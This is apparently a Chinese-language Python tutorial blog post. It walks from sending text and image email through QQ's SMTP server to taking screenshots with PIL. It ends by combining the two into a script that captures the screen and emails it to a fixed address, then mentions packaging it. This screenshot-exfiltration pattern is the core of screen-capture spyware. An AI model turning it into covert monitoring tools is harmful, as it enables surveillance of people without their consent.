1 import smtplib 2 from email.mime.text import MIMEText 3 msg_from='1@qq.com' #發送方郵箱 4 passwd='bd' #填入發送方郵箱的受權碼 5 msg_to='1@qq.com' 6 7 8 subject="python郵件測試" #主題 9 content="這是我使用python smtplib及email模塊發送的郵件" 10 msg = MIMEText(content) 11 msg['Subject'] = subject 12 msg['From'] = msg_from 13 msg['To'] = msg_to 14 try: 15 s = smtplib.SMTP_SSL("smtp.qq.com",465) 16 s.login(msg_from, passwd) 17 s.sendmail(msg_from, msg_to, msg.as_string()) 18 print( "發送成功") 19 except: 20 print("發送失敗") 21 finally: 22 s.quit()
以上是文本類型郵件的發送,不適用圖片郵件的發送html
如下是圖片類型的郵件發送python
1 import smtplib 2 from email.mime.text import MIMEText 3 from PIL import ImageGrab 4 import random 5 from time import * 6 from email.mime.multipart import MIMEMultipart 7 from email.mime.text import MIMEText 8 from email.mime.image import MIMEImage 9 10 def send(): 11 sender = '1@qq.com' 12 receivers = '17@qq.com' 13 message = MIMEMultipart('related') 14 subject = '終於能發圖片了' 15 message['Subject'] = subject 16 message['From'] = sender 17 message['To'] = receivers 18 content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8') 19 message.attach(content) 20 21 file=open("F:\\12.png", "rb") 22 img_data = file.read() 23 file.close() 24 25 img = MIMEImage(img_data) 26 img.add_header('Content-ID', 'imageid') 27 message.attach(img) 28 29 try: 30 server=smtplib.SMTP_SSL("smtp.qq.com",465) 31 server.login(sender,"i") 32 server.sendmail(sender,receivers,message.as_string()) 33 server.quit() 34 print ("郵件發送成功") 35 except smtplib.SMTPException as e: 36 print(e) 37 send()
以後咱們繼續學習截屏幕保存dom
1 from PIL import ImageGrab 2 import random 3 from time import * 4 5 6 7 strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?" 8 lenght = len(strings) 9 name = "" 10 11 for j in range(1,3): 12 for i in range(1,5): 13 r = random.randint(1,36) 14 name+=strings[r] 15 im = ImageGrab.grab() 16 im.save('F:\\'+name+'.png') 17 name = ""
咱們嘗試將他們結合起來:學習
1 import smtplib 2 from email.mime.text import MIMEText 3 from PIL import ImageGrab 4 import random 5 from time import * 6 from email.mime.multipart import MIMEMultipart 7 from email.mime.text import MIMEText 8 from email.mime.image import MIMEImage 9 10 def send(): 11 im = ImageGrab.grab() 12 im.save('F:\\test.png') 13 sender = '@qq.com' 14 receivers = '@qq.com' 15 message = MIMEMultipart('related') 16 subject = '終於能發圖片了' 17 message['Subject'] = subject 18 message['From'] = sender 19 message['To'] = receivers 20 content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8') 21 message.attach(content) 22 23 file=open("F:\\test.png", "rb") 24 img_data = file.read() 25 file.close() 26 27 img = MIMEImage(img_data) 28 img.add_header('Content-ID', 'imageid') 29 message.attach(img) 30 31 try: 32 server=smtplib.SMTP_SSL("smtp.qq.com",465) 33 server.login(sender,"") 34 server.sendmail(sender,receivers,message.as_string()) 35 server.quit() 36 print ("郵件發送成功") 37 except smtplib.SMTPException as e: 38 print(e) 39 send()
歐克,成功,咱們打包試試看測試